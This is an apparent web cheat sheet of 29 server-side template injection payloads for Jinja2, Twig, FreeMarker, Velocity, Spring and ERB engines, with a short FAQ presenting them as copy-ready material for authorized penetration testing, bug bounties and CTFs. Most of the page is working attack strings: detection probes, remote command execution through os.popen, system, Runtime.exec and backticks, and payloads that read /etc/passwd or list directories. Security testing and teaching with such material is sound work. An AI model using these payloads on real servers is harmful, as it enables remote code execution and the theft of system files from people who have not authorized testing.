Skip to content
Payload Playground

SSTI Cheat Sheet

Server-Side Template Injection payloads for Jinja2, Twig, FreeMarker, ERB, and more template engines. (29 payloads)

Build custom SSTI payloads in the Template Injection (SSTI) generator

Detection

(10)
{{7*7}}
Jinja2 / Twig / Pebble — expect 49
${7*7}
FreeMarker / Mako — expect 49
<%= 7*7 %>
ERB (Ruby) — expect 49
#{7*7}
Generic expression test
#set($x=7*7)$x
Velocity — expect 49
{{7*'7'}}
Jinja2 vs Twig (Jinja2: 7777777, Twig: 49)
{{dump(app)}}
Twig — dump application object
{{config}}
Jinja2/Flask — dump config
${T(java.lang.Runtime)}
Spring Expression Language (SpEL)
*{7*7}
Thymeleaf — expect 49

Jinja2 / Flask RCE

(6)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
RCE via config globals
{{''.__class__.__mro__[1].__subclasses__()}}
List all subclasses
{{''.__class__.__mro__[1].__subclasses__()[X]('id',shell=True,stdout=-1).communicate()}}
Popen via subclass index X
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
RCE via request object
{{cycler.__init__.__globals__.os.popen('id').read()}}
RCE via cycler object
{{lipsum.__globals__.os.popen('id').read()}}
RCE via lipsum

Twig RCE

(4)
{{['id']|filter('system')}}
RCE via filter function
{{['id']|map('system')}}
RCE via map function
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}
Twig < 1.20 registerCallback RCE
{{'id'|filter('system')}}
Direct string filter RCE

FreeMarker / Velocity / Java

(4)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
FreeMarker Execute classFreeMarker
${T(java.lang.Runtime).getRuntime().exec("id")}
Spring Expression Language (SpEL)Spring
#set($rt=$x.class.forName("java.lang.Runtime"))#set($ex=$rt.getRuntime().exec("id"))
Velocity Runtime.execVelocity
${product.getClass().forName("java.lang.Runtime").getRuntime().exec("id")}
Pebble Java execPebble

ERB / Ruby

(5)
<%= `id` %>
Backtick command execution
<%= system("id") %>
System call
<%= IO.popen("id").read %>
IO.popen execution
<%= File.read("/etc/passwd") %>
Read file
<%= Dir.entries("/") %>
List directory
ShareXLinkedInReddit

Level up your security testing

References

Related Generators

Related Cheat Sheets

Further reading

Frequently asked questions

What is the SSTI Cheat Sheet?+

It's a quick-reference collection of 29 SSTI payloads for testing SSTI vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these SSTI payloads?+

Copy any payload straight into your authorized test, or open the Template Injection (SSTI) generator to build customized SSTI variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.

Are these SSTI payloads free to use?+

Yes — this cheat sheet and all SSTI payloads are completely free, with no account required. Everything runs in your browser.

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/cheatsheets/ssti) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.